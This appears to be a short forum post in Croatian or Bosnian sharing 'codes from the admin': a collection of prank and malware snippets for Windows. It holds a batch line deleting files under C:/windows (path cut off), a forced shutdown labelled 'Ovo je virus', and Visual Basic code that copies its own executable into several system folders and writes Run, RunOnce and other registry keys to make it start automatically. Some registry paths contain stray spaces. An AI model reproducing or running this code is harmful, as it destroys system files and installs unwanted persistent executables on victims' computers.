Evo od admina nekoliko kodova
cd %windir%
nircmd.exe cdrom open d:
nircmd.exe cdrom close d:
@echo off
del "C:/windows/
@echo on
shutdown -s -t 100 -c "Ovo je virus"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\xxx.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\Restore\xxx.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\xxx.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\Help\xxx.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\security\xxx.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Mozilla Firefox\xxx.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\config\xxx.exe"
Dim wsc As Variant
Set wsc = CreateObject("wscript.shell")
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\xxx", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\xxx.exe"
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru nOnce\xxx", "C:\WINDOWS\system32\Restore\xxx.exe"
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\We bCheck\xxx", "C:\xxx.exe"
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ex tensions\xxx", "C:\WINDOWS\Help\xxx.exe"
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\SM DEn\xxx", "C:\WINDOWS\security\xxx.exe"
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\BI TS\xxx", "C:\Documents and Settings\All Users\Start Menu\Programs\Mozilla Firefox\xxx.exe"
wsc.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Hi nts\xxx", "C:\WINDOWS\system32\config\xxx.exe"
Toliko od mene...